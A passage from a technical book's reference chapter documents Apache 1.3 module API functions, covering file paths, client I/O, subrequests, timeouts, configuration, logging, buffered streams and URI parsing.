Returns nonzero if path is a directory.

ap_make_full_path combines two paths into one
char *ap_make_full_path(pool *p, const char *path1, const char *path2)
Appends path2 to path1, ensuring that there is only one slash between them. Returns a pointer to the new path.

ap_is_url checks whether a string is in fact a URL
int ap_is_url(const char *url)
Returns nonzero if url is a URL. A URL is defined, for this purpose, to be "<any string of numbers, letters, +, -, or . (dot)>:<anything>."

ap_fnmatch match a filename
int ap_fnmatch(const char *pattern, const char *string, int flags)
Matches string against pattern, returning 0 for a match and FNM_NOMATCH otherwise. pattern consists of the following:

?

Match a single character.

*

Match any number of characters.

[...]

A closure, like in regular expressions. A leading caret (^) inverts the closure.

\

If FNM_NOESCAPE is not set, removes any special meaning from next character.

flags is a combination of the following:

FNM_NOESCAPE

Treat a "\" as a normal character.

FNM_PATHNAME

*, ?, and [...] don't match "/.".

FNM_PERIOD

*, ?, and [...] don't match leading dots. "Leading" means either at the beginning of the string, or after a "/" if FNM_PATHNAME is set.

ap_is_fnmatch check whether a string is a pattern
int ap_is_fnmatch(const char *pattern)
Returns 1 if pattern contains ?, *, or [...], 0 otherwise.

ap_server_root_relative make a path relative to the server root
char *ap_server_root_relative(pool *p, char *file)
If file is not an absolute path, append it to the server root, in the pool p. If it is absolute, simply return it (not a copy).

ap_os_canonical_filename convert a filename to its canonical form
char *ap_os_canonical_filename(pool *pPool, const char *szFile)
Returns a canonical form of a filename. This is needed because some operating systems will accept more than one string for the same file.

Figure 14.19 Win32, for example, is case blind, ignores trailing dots and spaces, and so on.[74] This function is generally used before checking a filename against a pattern or other similar operations.

[74]In fact, exactly what Windows does with filenames is very poorly documented and is a seemingly endless source of security holes.

14.6.13. User and Group Functions

ap_uname2id convert a username to a user ID (UID)
uid_t ap_uname2id(const char *name)
Figure 14.1 If name starts with a "#", returns the number following it; otherwise, looks it up using getpwnam() and returns the UID. Under Win32, this function always returns 1.

ap_gname2id convert a group name to a group ID (GID)
gid_t ap_gname2id(const char *name)
Figure 14.2 If name starts with a "#", returns the number following it; otherwise, looks it up using getgrnam() and returns the GID. Under Win32, this function always returns 1.

14.6.14. TCP/IP and I/O Functions

ap_get_virthost_addr convert a hostname or port to an address
unsigned long ap_get_virthost_addr(const char *hostname, short *ports)
Converts a hostname of the form name[:port] to an IP address in network order, which it returns. *ports is filled in with the port number if it is not NULL. If name is missing or "*", INADDR_ANY is returned. If port is missing or "*", *ports is set to 0.

If the host has multiple IP addresses, an error message is printed and exit() is called.

ap_get_local_host get the FQDN for the local host
char *ap_get_local_host(pool *p)
Returns a pointer to the fully qualified domain name for the local host. If it fails, an error message is printed, and exit() is called.

ap_get_remote_host get client hostname or IP address
const char *ap_get_remote_host(conn_rec *conn, void *dir_config, int type)
Returns the hostname or IP address (as a string) of the client. dir_config is the per_dir_config member of the current request or NULL. type is one of the following:

REMOTE_HOST

Returns the hostname or NULL (if it either couldn't be found or hostname lookups are disabled with the HostnameLookups directive).

REMOTE_NAME

Returns the hostname or, if it can't be found, returns the IP address.

REMOTE_NOLOOKUP

Similar to REMOTE_NAME, except that a DNS lookup is not performed (note that the name can still be returned if a previous call did do a DNS lookup).

REMOTE_DOUBLE_REV

Do a double-reverse lookup (that is, look up the hostname from the IP address, then look up the IP address from the name). If the double reverse works and the IP addresses match, return the name; otherwise, return a NULL.

ap_send_fd copy an open file to the client
long ap_send_fd(FILE *f, request_rec *r)
Copies the stream f to the client. Returns the number of bytes sent.

ap_send_fd_length copy a number of bytes from an open file to the client
long ap_send_fd_length(FILE *f, request_rec *r, long length)
Copies no more than length bytes from f to the client. If length is less than 0, copies the whole file. Returns the number of bytes sent.

ap_send_fb copy an open stream to a client
long ap_send_fb(BUFF *fb, request_rec *r)
Similar to ap_send_fd() except that it sends a BUFF * instead of a FILE *.

ap_send_fb_length copy a number of bytes from an open stream to a client
long ap_send_fb_length(BUFF *fb, request_rec *r, long length)
Similar to ap_send_fd_length(), except that it sends a BUFF * instead of a FILE *.

ap_send_mmap send data from an in-memory buffer
size_t ap_send_mmap(void *mm, request_rec *r, size_t offset, size_t
length)
Copies length bytes from mm+offset to the client. The data is copied MMAP_SEGMENT_SIZE bytes at a time, with the timeout reset in between each one. Although this can be used for any memory buffer, it is really intended for use with memory mapped files (which may give performance advantages over other means of sending files on some platforms).

ap_rwrite write a buffer to the client
int ap_rwrite(const void *buf, int nbyte, request_rec *r)
Writes nbyte bytes from buf to the client. Returns the number of bytes written or -1 on an error.

ap_rputc send a character to the client
int ap_rputc(int c, request_rec *r)
Sends the character c to the client. Returns c, or EOF if the connection has been closed.

ap_rputs send a string to the client
int ap_rputs(const char *s, request_rec *r)
Sends the string s to the client. Returns the number of bytes sent, or -1 if there is an error.

ap_rvputs send a list of strings to the client
int ap_rvputs(request_rec *r, ...)
Sends the NULL-terminated list of strings to the client. Returns the number of bytes sent, or -1 if there is an error.

ap_rprintf send a formatted string to the client
int ap_rprintf(request_rec *r, const char *fmt,...)
Formats the extra arguments according to fmt (as they would be formatted by printf()) and sends the resulting string to the client. Returns the number of bytes sent, or -1 if there is an error.

ap_rflush flush client output
int ap_rflush(request_rec *r)
Causes any buffered data to be sent to the client. Returns 0 on success, -1 on an error.

ap_setup_client_block prepare to receive data from the client
int ap_setup_client_block(request_rec *r, int read_policy)
Prepares to receive (or not receive, depending on read_policy) data from the client, typically because the client made a PUT or POST request. Checks that all is well to do the receive. Returns OK if all is well, or a status code if not. Note that this routine still returns OK if the request is not one that includes data from the client. This should be called before ap_should_client_block().

read_policy is one of the following:

REQUEST_NO_BODY

Return HTTP_REQUEST_ENTITY_TOO_LARGE if the request has any body.

REQUEST_CHUNKED_ERROR

If the Transfer-Encoding is chunked, return HTTP_BAD_REQUEST if there is a Content-Length header, or HTTP_LENGTH_REQUIRED if not.[75]

[75]This may seem perverse, but the idea is that by asking for a Content-Length, we are implicitly requesting that there is no Transfer-Encoding (at least, not a chunked one). Getting both is an error.

REQUEST_CHUNKED_DECHUNK

Handles chunked encoding in ap_ get_client_block(), returning just the data.

REQUEST_CHUNKED_PASS

Handles chunked encoding in ap_ get_client_block(), returning the data and the chunk headers.

ap_should_client_block ready to receive data from the client
int ap_should_client_block(request_rec *r)
Checks whether the client will send data and invites it to continue, if necessary (by sending a 100 Continue response if the client is HTTP/1.1 or higher). Returns 1 if the client should send data; 0 if not. ap_setup_client_block() should be called before this function, and this function should be called before ap_get_client_block(). This function should only be called once. It should also not be called until we are ready to receive data from the client.

ap_get_client_block read a block of data from the client
long ap_get_client_block(request_rec *r, char *buffer, int bufsiz)
Reads up to bufsiz characters into buffer from the client. Returns the number of bytes read, 0 if there is no more data, or -1 if an error occurs. ap_setup_client_block() and ap_should_client_block() should be called before this. Note that the buffer should be at least big enough to hold a chunk-size header line (because it may be used to store one temporarily). Since a chunk-size header line is simply a number in hex, 50 bytes should be plenty.

ap_send_http_header send the response headers to the client
void ap_send_http_header(request_rec *r)
Sends the headers (mostly from r->headers_out) to the client. It is essential to call this in a request handler before sending the content.

ap_send_size send a size approximately
void ap_send_size(size_t size, request_rec *r)
Sends size to the client, rounding it to the nearest thousand, million, or whatever. If size is -1, prints a minus sign only.

14.6.15. Request-Handling Functions

ap_sub_req_lookup_uri look up a URI as if it were a request
request_rec *ap_sub_req_lookup_uri(const char *new_uri, const request_rec *r)
Feeds new_uri into the system to produce a new request_rec, which has been processed to just before the point at which the request handler would be called. If the URI is relative, it is resolved relative to the URI of r. Returns the new request_rec. The status member of the new request_rec contains any error code.

ap_sub_req_lookup_file look up a file as if it were a request
request_rec *ap_sub_req_lookup_file(const char *new_file, const request_rec *r)
Similar to ap_sub_req_lookup_uri() except that it looks up a file, so it therefore doesn't call the name translators or match against <Location> sections.

ap_run_sub_req run a subrequest
int ap_run_sub_req(request_rec *r)
Runs a subrequest prepared with ap_sub_req_lookup_file() or ap_sub_req_lookup_uri(). Returns the status code of the request handler.

ap_destroy_sub_req destroy a subrequest
void ap_destroy_sub_req(request_rec *r)
Destroys a subrequest created with ap_sub_req_lookup_file() or ap_sub_req_lookup_uri() and releases the memory associated with it. Needless to say, you should copy anything you want from a subrequest before destroying it.

ap_internal_redirect internally redirect a request
void ap_internal_redirect(const char *uri, request_rec *r)
Internally redirects a request to uri. The request is processed immediately, rather than returning a redirect to the client.

ap_internal_redirect_handler internally redirect a request, preserving handler
void ap_internal_redirect_handler(const char *uri, request_rec *r)
Similar to ap_internal_redirect(), but uses the handler specified by r.

14.6.16. Timeout and Alarm Functions

ap_hard_timeout set a hard timeout on a request
void ap_hard_timeout(char *name, request_rec *r)
Sets an alarm to go off when the server's configured timeout expires. When the alarm goes off, the current request is aborted by doing a longjmp() back to the top level and destroying all pools for the request r. The string name is logged to the error log.

ap_keepalive_timeout set the keepalive timeout on a request
void ap_keepalive_timeout(char *name, request_rec *r)
Works like ap_hard_timeout() except that if the request is kept alive, the keep-alive timeout is used instead of the server timeout. This should normally be used only when awaiting a request from the client, and thus is used only in http_protocol.c, but is included here for completeness.

ap_soft_timeout set a soft timeout on a request
void ap_soft_timeout(char *name, request_rec *r)
Similar to ap_hard_timeout(), except that the request that is destroyed is not set. The parameter r is not used (it is there for historical reasons).

ap_reset_timeout resets a hard or soft timeout to its original time
void ap_reset_timeout(request_rec *r)
Resets the hard or soft timeout to what it originally was. The effect is as if you had called ap_hard_timeout() or ap_soft_timeout() again.

ap_kill_timeout clears a timeout
void ap_kill_timeout(request_rec *r)
Clears the current timeout on the request r.

ap_block_alarms( ) temporarily prevents a timeout from occurring
void ap_block_alarms(void)
Temporarily blocks any pending timeouts. Protects critical sections of code that would leak resources (or would go wrong in some other way) if a timeout occurred during their execution. Calls to this function can be nested, but each call must be matched by a call to ap_unblock_alarms().

ap_unblock_alarms( ) unblock a blocked alarm
void ap_unblock_alarms(void)
Remove a block placed by ap_block_alarms().

ap_check_alarm check alarm (Win32 only)
int ap_check_alarm(void)
Figure 14.8 Since Win32 has no alarm() function, it is necessary to check alarms "by hand." This function does that, calling the alarm function set with one of the timeout functions. Returns -1 if the alarm has gone off, the number of seconds left before the alarm does go off, or 0 if no alarm is set.

14.6.17. Configuration Functions

ap_pcfg_openfile open a file as a configuration
configfile_t *ap_pcfg_openfile(pool *p, const char *name)
Opens name as a file (using fopen()), returning NULL if the open fails, or a pointer to a configuration on success.

ap_pcfg_open_custom create a custom configuration
configfile_t *ap_pcfg_open_custom(pool *p, const char *descr, void
*synopsism,
int(*getch)(void *param), void *(*getstr) (void *buf, size_t bufsiz, void *param),
int(*close_func)(void *param))
Creates a custom configuration. The function getch() should read a character from the configuration, returning it or EOF if the configuration is finished. The function getstr() (if supplied -- it can be NULL, in which case getch() will be used instead) should read a whole line into buf, terminating with NUL. It should return buf, or NULL if the configuration is finished. close_func() (if supplied -- it can be NULL) should close the configuration, returning 0 or more on success. All the functions are passed param when called.

ap_cfg_getc read a character from a configuration
int ap_cfg_ getc(configfile_t *cfp)
Reads a single character from cfp. If the character is LF, the line number is incremented. Returns the character, or EOF if the configuration has completed.

ap_cfg_getline read a line from a configuration, stripping whitespace
int ap_cfg_ getline(char *s, int n, configfile_t *cfp)
Reads a line (up to n characters) from cfp into s, stripping leading and trailing whitespace and converting internal whitespace to single spaces. Continuation lines (indicated by a backslash immediately before the newline) are concatenated. Returns 0 normally, 1 if EOF has been reached.

ap_cfg_closefile close a configuration
int ap_cfg_closefile(configfile_t *cfp)
Close the configuration cfp. Return is less than zero on error.

ap_check_cmd_context check if configuration cmd allowed in current context
const char *ap_check_cmd_context(cmd_parms *cmd, unsigned forbidden)
Checks whether cmd is permitted in the current configuration context, according to the value of forbidden. Returns NULL if it is, or an appropriate error message if not. forbidden must be a combination of the following:

NOT_IN_VIRTUALHOST

Command cannot appear in a <VirtualHost> section.

NOT_IN_LIMIT

Command cannot occur in a <Limit> section.

NOT_IN_DIRECTORY

Command cannot occur in a <Directory> section.

NOT_IN_LOCATION

Command cannot occur in a <Location> section.

NOT_IN_FILES

Command cannot occur in a <Files> section.

NOT_IN_DIR_LOC_FILE

Shorthand for NOT_IN_DIRECTORY|NOT_IN_LOCATION|NOT_IN_FILES.

GLOBAL_ONLY

Shorthand for NOT_IN_VIRTUALHOST|NOT_IN_LIMIT|NOT_IN_DIR_LOC_FILE.

ap_set_file_slot set a file slot in a configuration structure
const char *ap_set_file_slot(cmd_parms *cmd, char *struct_ptr, char
*arg)
Designed to be used in a command_rec to set a string for a file. It expects to be used with a TAKE1 command. If the file is not absolute, it is made relative to the server root. Obviously, the corresponding structure member should be a char *.

ap_set_flag_slot set a flag slot in a configuration structure.
const char * ap_set_flag_slot(cmd_parms *cmd, char *struct_ptr, int arg)
Designed to be used in a command_rec to set a flag. It expects to be used with a FLAG command. The corresponding structure member should be an int, and it will be set to 0 or 1.

ap_set_string_slot set a string slot in a configuration structure
const char *ap_set_string_slot(cmd_parms *cmd, char *struct_ptr, char *arg)
Designed to be used in a command_rec to set a string. It expects to be used with a TAKE1 command. Obviously, the corresponding structure member should be a char *.

ap_set_string_slot_lower set a lowercase string slot in a configuration structure
const char *ap_set_string_slot_lower(cmd_parms *cmd, char *struct_ptr, char *arg)
Similar to ap_set_string_slot(), except the string is made lowercase.

14.6.18. Configuration Information Functions

Modules may need to know how some things have been configured. These functions give access to that information.

ap_allow_options return options set with the Options directive
int ap_allow_options (request_rec *r)
Returns the option set for the request r. This is a bitmap composed of the bitwise OR of the following:

OPT_NONE

No options set.

OPT_INDEXES

The Indexes option.

OPT_INCLUDES

The Includes option.

OPT_SYM_LINKS

The FollowSymLinks option.

OPT_EXECCGI

The ExecCGI option.

OPT_INCNOEXEC

The IncludesNOEXEC option.

OPT_SYM_OWNER

The FollowSymLinksIfOwnerMatch option.

OPT_MULTI

The MultiViews option.

ap_allow_overrides return overrides set with the AllowOverride option
int ap_allow_overrides (request_rec *r)
Returns the overrides permitted for the request r. These are the bitwise OR of the following:

OR_NONE

No overrides are permitted.

OR_LIMIT

The Limit override.

OR_OPTIONS

The Options override.

OR_FILEINFO

The FileInfo override.

OR_AUTHCFG

The AuthConfig override.

OR_INDEXES

The Indexes override.

ap_auth_type return the authentication type for this request
const char *ap_auth_type (request_rec *r)
Returns the authentication type (as set by the AuthType directive) for the request r. Currently this should only be Basic, Digest, or NULL.

ap_auth_name return the authentication domain name
const char *ap_auth_name (request_rec *r)
Returns the authentication domain name (as set by the AuthName directive) for the request r.

ap_requires return the require array
const array_header *ap_requires (request_rec *r)
Returns the array of require_lines that correspond to the require directive for the request r. require_line is defined as follows:

typedef struct {
    int method_mask;
    char *requirement;
} require_line;

method_mask is the bitwise OR of:

1 << M_GET
1 << M_PUT
1 << M_POST
1 << M_DELETE
1 << M_CONNECT
1 << M_OPTIONS
1 << M_TRACE
1 << M_INVALID

as set by a Limit directive.

ap_satisfies return the satisfy setting
int ap_satisfies (request_rec *r)
Returns the setting of satisfy for the request r. This is one of the following:

SATISFY_ALL

Must satisfy all authentication requirements (satisfy all).

SATISFY_ANY

Can satisfy any one of the authentication requirements (satisfy any).

14.6.19. Server Information Functions

ap_get_server_built get the date and time Apache was built
const char *ap_get_server_built(void)
Returns a string containing the date and time the server was built. Since this uses the C preprocessor __DATE__ and __TIME__ variables, the format is somewhat system dependent. If the preprocessor doesn't support __DATE__ or __TIME__, the string is set to "unknown."

ap_get_server_version get the Apache version string
const char *ap_get_server_version(  )
Returns a string containing Apache's version (plus any module version strings that have been added).

ap_add_version_component add a module version string
void ap_add_version_component(const char *component)
Adds a string to the server version string. This function only has an effect during startup, after which the version string is locked. Version strings should take the form module name /version number, for example, MyModule/1.3. Most modules do not add a version string.

14.6.20. Logging Functions

ap_error_log2stderr map stderr to an error log
void ap_error_log2stderr (server_rec *s)
Makes stderr the error log for the server s. Useful when running a subprocess.

ap_log_error log an error
void ap_log_error(const char*file, int line, int level, const server_rec*s, const char *fmt, ...)
Logs an error (if level is higher than the level set with the LogLevel directive). file and line are only logged if level is APLOG_DEBUG. file and line are normally set by calling ap_log_error() like so:

ap_log_error(APLOG_MARK, APLOG_ERR, server_conf,"some
error");

APLOG_MARK is a #define that uses __FILE__ and __LINE__ to generate the filename and line number of the call.

level is a combination of one of the following:

APLOG_EMERG

The system is unusable.

APLOG_ALERT

Action must be taken immediately.

APLOG_CRIT

Critical conditions.

APLOG_ERR

Error conditions.

APLOG_WARNING

Warnings.

APLOG_NOTICE

Normal but significant condition.

APLOG_INFO

Informational.

APLOG_DEBUG

Debugging messages.

optionally ORed with:

APLOG_NOERRNO

Do not log errno.

APLOG_WIN32ERROR

Figure 14.2 On Win32 use GetLastError() instead of errno.

ap_log_reason log an access failure
void ap_log_reason (const char *reason, const char *file, request_rec *r)
Logs a message of the form "access to file failed for remotehost, reason: reason". The remote host is extracted from r. The message is logged with ap_log_error() at level APLOG_ERR.

14.6.21. Piped Log Functions

Apache provides functions to manage reliable piped logs. These are logs which are piped to another program. Apache restarts the program if it dies. This functionality is disabled if NO_RELIABLE_PIPED_LOGS is defined. The functions still exist and work, but the "reliability" is disabled.

ap_open_piped_log open a piped log program
piped_log *ap_open_piped_log (pool *p, const char *program)
The program program is launched with appropriate pipes. program may include arguments.

ap_close_piped_log close a piped log
void ap_close_piped_log (piped_log *pl)
Closes pl. Doesn't kill the spawned child.

ap_piped_log_write_fd get the file descriptor of a log pipe
int ap_piped_log_write_fd(piped_log *pl)
Returns the file descriptor of an open piped log.

14.6.22. Buffering Functions

Apache provides its own I/O buffering interface. This allows chunked transfers to be done transparently and hides differences between files and sockets under Win32.

ap_bcreate create a buffered stream
BUFF *ap_bcreate(pool *p, int flags)
Creates a new buffered stream in p. The stream is not associated with any file or socket at this point. flags are a combination of one of the following:

B_RD

Reading is buffered.

B_WR

Writing is buffered.

B_RDWR

Reading and writing are buffered.

and, optionally:

B_SOCKET

The stream will be buffering a socket. Note that this flag also causes ASCII/EBCDIC translation to be enabled on platforms that use EBCDIC (see ap_bsetflag()).

ap_bpushfd set the file descriptors for a stream
void ap_bpushfd(BUFF *fb, int fd_in, int fd_out)
Sets the read file descriptor to fd_in and the write file descriptor to fd_out. Use -1 for file descriptors you don't want to set. Note that these descriptors must be readable with read() and writable with write().

ap_bpushh set a Win32 handle for a stream
void ap_bpushh(BUFF *fb, HANDLE hFH)
Figure 14.3 Sets a Win32 file handle for both input and output. The handle will be written with WriteFile() and read with ReadFile(). Note that this function should not be used for a socket, even though a socket is a Win32 handle. ap_bpushfd() should be used for sockets.

ap_bsetopt set an option
int ap_bsetopt(BUFF *fb, int optname, const void *optval)
Sets the option optname to the value pointed at by optval. There is currently only one option, which is the count of bytes sent to the stream,[76] set with BO_BYTECT. In this case, optval should point to a long. This function is used for logging and statistics and is not normally called by modules. Its main use, when it is called, is to zero the count after sending headers to a client. Returns 0 on success, -1 on failure.

[76]Not really an option, in our view, but we didn't name the function.

ap_bgetopt get the value of an option
int ap_bgetopt(BUFF *fb, int optname, void *optval)
Gets the value of the option optname in the location pointed at by optval. The only supported option is BO_BYTECT (see ap_bsetopt()).

ap_bsetflag set or clear a flag
int ap_bsetflag(BUFF *fb, int flag, int value)
If value is 0, clear flag; otherwise, set it. flag is one of the following:

B_EOUT

Prevent further I/O.

B_CHUNK

Use chunked writing.

B_SAFEREAD

Force an ap_bflush() if a read would block.

B_ASCII2EBCDIC

Convert ASCII to EBCDIC when reading. Only available on systems that support EBCDIC.

B_EBCDIC2ASCII

Convert EBCDIC to ASCII when writing. Only available on systems that support EBCDIC.

ap_bgetflag get a flag's setting
int ap_bgetflag(BUFF *fb, int flag)
Returns 0 if flag is not set, nonzero otherwise. See ap_bsetflag() for a list of flags.

ap_bonerror register an error function
void ap_bonerror(BUFF *fb, void (*error) (BUFF *, int, void *), void *data)
When an error occurs on fb, error() is called with fb, the direction (B_RD or B_WR), and data.

ap_bnonblock set a stream to nonblocking mode
int ap_bnonblock(BUFF *fb, int direction)
direction is one of B_RD or B_WR. Sets the corresponding file descriptor to be nonblocking. Returns whatever fcntl() returns.

ap_bfileno get a file descriptor from a stream
int ap_bfileno(BUFF *fb, int direction)
direction is one of B_RD or B_WR. Returns the corresponding file descriptor.

ap_bread read from a stream
int ap_bread(BUFF *fb, void *buf, int nbyte)
Reads up to nbyte bytes into buf. Returns the number of bytes read, 0 on end of file (EOF), or -1 for an error. Only reads the data currently available.

ap_bgetc get a character from a stream
int ap_bgetc(BUFF *fb)
Reads a single character from fb. Returns the character on success, and returns EOF on error or end of file. If the EOF is the result of an end of file, errno will be zero.

ap_bgets read a line from a stream
int ap_bgets(char *buff, int n, BUFF *fb)
Reads up to n-1 bytes into buff, until an LF is seen or the end of file is reached. If LF is preceded by CR, the CR is deleted. The buffer is then terminated with a NUL (leaving the LF as the character before the NUL). Returns the number of bytes stored in the buffer, excluding the terminating NUL.

ap_blookc peek at the next character in a stream
int ap_blookc(char *buff, BUFF *fb)
Places the next character in the stream in *buff, without removing it from the stream. Returns 1 on success, 0 on EOF, and -1 on error.

ap_bskiplf discard until an LF is read
int ap_bskiplf(BUFF *fb)
Discards input until an LF is read. Returns 1 on success, 0 on EOF, and -1 on an error. The stream must be read-buffered (i.e., in B_RD or B_RDWR mode).

ap_bwrite write to a stream
int ap_bwrite(BUFF *fb, const void *buf, int nbyte)
Writes nbyte bytes from buf to fb. Returns the number of bytes written. This can only be less than nbyte if an error occurred. Takes care of chunked encoding if the B_CHUNK flag is set.

ap_bputc write a single character to a stream
int ap_bputc(char c, BUFF *fb)
Writes c to fb, returning 0 on success, -1 on an error.

ap_bputs write a NUL-terminated string to a stream
int ap_bputs(const char *buf, BUFF *fb)
Writes the contents of buf up to, but not including, the first NUL. Returns the number of bytes written, or -1 on an error.

ap_bvputs write several NUL-terminated strings to a stream
int ap_bvputs(BUFF *fb,...)
Writes the contents of a list of buffers in the same manner as ap_bputs(). The list of buffers is terminated with a NULL. Returns the total number of bytes written, or -1 on an error. For example:

if(ap_bvputs(fb,buf1,buf2,buf3,NULL) < 0)
    ...
ap_bprintf write formatted output to a stream
int ap_bprintf(BUFF *fb, const char *fmt, ...)
Write formatted output, as defined by fmt, to fb. Returns the number of bytes sent to the stream.

ap_vbprintf write formatted output to a stream
int ap_vbprintf(BUFF *fb, const char *fmt, va_list ap)
Similar to ap_bprintf(), except it uses a va_list instead of "...".

ap_bflush flush output buffers
int ap_bflush(BUFF *fb)
Flush fb's output buffers. Returns 0 on success and -1 on error. Note that the file must be write-buffered (i.e., in B_WR or B_RDWR mode).

ap_bclose close a stream
int ap_bclose(BUFF *fb)
Flushes the output buffer and closes the underlying file descriptors/handle/socket. Returns 0 on success and -1 on error.

14.6.23. URI Functions

Some of these functions use the uri_components structure:

typedef struct {
    char *scheme;     /* scheme ("http"/"ftp"/...) */
    char *hostinfo;   /* combined [user[:password]@]host[:port] */
    char *user;       /* username, as in http://user:passwd@host:port/ */
    char *password;   /* password, as in http://user:passwd@host:port/ */
    char *hostname;   /* hostname from URI (or from Host: header) */
    char *port_str;   /* port string (integer representation is in "port") */
    char *path;       /* The request path (or "/" if only scheme://host was
                      /* given) */
    char *query;      /* Everything after a '?' in the path, if present */
    char *fragment;   /* Trailing "#fragment" string, if present */
    struct hostent *hostent;
    unsigned short port;
                      /* The port number, numeric, valid only if
                      /* port_str != NULL */

    unsigned is_initialized:1;
    unsigned dns_looked_up:1;
    unsigned dns_resolved:1;
} uri_components;
ap_parse_uri_components dissect a full URI
int ap_parse_uri_components(pool *p, const char *uri, uri_components *uptr)
Dissects the URI uri into its components, which are placed in uptr. Each component is allocated in p. Any missing components are set to NULL. uptr->is_initialized is set to 1.

ap_parse_hostinfo_components dissect host:port
int ap_parse_hostinfo_components(pool *p, const char *hostinfo, uri_components *uptr)
Occasionally, it is necessary to parse host:port, for example, when handling a CONNECT request. This function does that, setting uptr->hostname, uptr->port_str, and uptr->port (if the port component is present). All other elements are set to NULL.

ap_unparse_uri_components convert back to a URI
char *ap_unparse_uri_components(pool *p, const uri_components *uptr, unsigned flags)
Takes a filled-in uri_components, uptr, and makes a string containing the corresponding URI. The string is allocated in p. flags is a combination of none or more of the following:

UNP_OMITSITEPART

Leave out "scheme://user:password@site:port".

UNP_OMITUSER

Leave out the user.

UNP_OMITPASSWORD

Leave out the password.

UNP_OMITUSERINFO

Shorthand for UNP_OMITUSER|UNP_OMITPASSWORD.

UNP_REVEALPASSWORD

Show the password (instead of replacing it with XXX).

ap_pgethostbyname resolve a hostname
struct hostent *ap_pgethostbyname(pool *p, const char *hostname)
Essentially does the same as the standard function gethostbyname() except that the result is allocated in p instead of being temporary.

ap_pduphostent duplicate a hostent structure
struct hostent *ap_pduphostent(pool *p, const struct hostent *hp)
Duplicates hp (and everything it points at) in the pool p.

14.6.24. Miscellaneous Functions

ap_child_terminate cause the current process to terminate
void ap_child_terminate(request_rec *r)
Makes this instance of Apache terminate after the current request has completed. If the connection is a keepalive connection, keepalive is cancelled.

ap_default_port return the default port for a request
unsigned short ap_default_port(request_rec *r)
Returns the default port number for the type of request handled by r. In standard Apache this is always an HTTP request, so the return is always 80, but in Apache-SSL, for example, it depends on whether HTTP or HTTPS is in use.

ap_is_default_port check whether a port is the default port
int ap_is_default_port(int port, request_rec *r)
Returns 1 if port is the default port for r, 0 if not.

ap_default_port_for_scheme return the default port for a scheme
unsigned short ap_default_port_for_scheme(const char *scheme_str)
Returns the default port for the scheme scheme.

ap_http_method return the scheme for a request
const char *ap_http_method(request_rec *r)
Returns the default scheme for the type of request handled by r. In standard Apache this is always an HTTP request, so the return is always http, but in Apache-SSL, for example, it depends on whether HTTP or HTTPS is in use.

ap_default_type returns default content type
const char *ap_default_type(request_rec *r)
Returns the default content type for the request r. This is either set by the DefaultType directive or is text/plain.

ap_get_basic_auth_pw get the password supplied for basic authentication
int ap_get_basic_auth_pw(request_rec *r, const char **pw)
If a password has been set for basic authentication (by the client), its address is put in *pw. Otherwise, an appropriate error is returned:

DECLINED

If the request does not require basic authentication

SERVER_ERROR

If no authentication domain name has been set (with AuthName)

AUTH_REQUIRED

If authentication is required but has not been sent by the client

OK

If the password has been put in *pw

ap_get_module_config get module-specific configuration information
void *ap_get_module_config(void *conf_vector, module *m)
Gets the module-specific configuration set up by the module during startup. conf_vector is usually either the per_dir_config from a request_rec, or module_config from a server_rec. See Chapter 15, "Writing Apache Modules", for more information.

ap_get_remote_logname get the login name of the client's user
const char *ap_get_remote_logname(request_rec *r)
Returns the login name of the client's user, if it can be found and the facility has been enabled with the IdentityCheck directive. Returns NULL otherwise.

ap_get_server_name get the name of the current server
const char *ap_get_server_name(const request_rec *r)
Gets the name of the server that is handling r. If the UseCanonicalName directive is on, then it returns the name configured in the configuration file. If UseCanonicalName is off, it returns the hostname used in the request, if there was one, or the configured name if not.

ap_get_server_port get the port of the current server
unsigned ap_get_server_port(const request_rec *r)
If UseCanonicalName is on, then returns the port configured for the server that is handling r. If UseCanonicalName is off, returns the port of the connection if the request included a hostname, or the configured port otherwise.[77]

[77]Though what practical difference this makes is somewhat mysterious to us.

ap_is_initial_req is this the main request_rec?
int ap_is_initial_req(request_rec *r)
Returns 1 if r is the main request_rec (as opposed to a subrequest or internal redirect), and 0 otherwise.

ap_matches_request_vhost does a host match a request's virtual host?
int ap_matches_request_vhost(request_rec *r, const char *host,
unsigned port)
Returns 1 if host:port matches the virtual host that is handling r, 0 otherwise.

ap_os_dso_load load a dynamic shared object (DSO)
void *ap_os_dso_load(const char *path)
Loads the dynamic shared object (that is, DLL, shared library, or whatever) specified by path. This has a different underlying implementation according to platform. The return value is a handle that can be used by other DSO functions. Returns NULL if path cannot be loaded.

ap_os_dso_unload unload a dynamic shared object
void ap_os_dso_unload(void *handle)
Unloads the dynamic shared object described by handle.

ap_os_dso_sym return the address of a symbol
void *ap_os_dso_sym(void *handle, const char *symname)
Returns the address of symname in the dynamic shared object referred to by handle. If the platform mangles symbols in some way (for example, by prepending an underscore), this function does the same mangling before lookup. Returns NULL if symname cannot be found or an error occurs.

ap_os_dso_error get a string describing a DSO error
const char *ap_os_dso_error(void)
If an error occurs with a DSO function, this function returns a string describing the error. If no error has occurred, returns NULL.

ap_popendir do an opendir( ) with cleanup
DIR *ap_popendir(pool *p, const char *name)
Essentially the same as the standard function opendir(), except that it registers a cleanup function that will do a closedir(). A DIR created with this function should be closed with ap_pclosedir() (or left for the cleanup to close). Apart from that, the standard functions should be used.

ap_pclosedir close a DIR opened with ap_popendir( )
void ap_pclosedir(pool *p, DIR * d)
Does a closedir() and cancels the cleanup registered by ap_popendir(). This function should only be called on a DIR created with ap_popendir().

ap_psignature create the server "signature"
const char *ap_psignature(const char *prefix, request_rec *r)
Creates a "signature" for the server handling r. This can be nothing, the server name and port, or the server name and port hotlinked to the administrator's email address, depending on the setting of the ServerSignature directive. Unless ServerSignature is off, the returned string has prefix prepended.

ap_vformatter general-purpose formatter
int ap_vformatter(int (*flush_func)(ap_vformatter_buff *),ap_vformatter_buff *vbuff,
const char *fmt, va_list ap)
Because Apache has several requirements for formatting functions (e.g., ap_bprintf(), ap_psprintf()) and it is actually not possible to implement them safely using standard functions, Apache has its own printf()-style routines. This function is the interface to them. It takes a buffer-flushing function as an argument, and an ap_vformatter_buff structure, which looks like this:

typedef struct {
    char *curpos;
    char *endpos;
} ap_vformatter_buff;

as well as the usual format string, fmt, and varargs list, ap. ap_vformatter() fills the buffer (at vbuff->curpos) until vbuff->curpos == vbuff->endpos; then flush_func() is called with vbuff as the argument. flush_func() should empty the buffer and reset the values in vbuff to allow the formatting to proceed. flush_func() is not called when formatting is complete (unless it happens to fill the buffer). It is the responsibility of the function that calls ap_vformatter() to finish things off.

Since flush_func() almost always needs more information than that found in vbuff, the following ghastly hack is frequently employed. First, a structure with an ap_vformatter_buff as its first element[78] is defined:

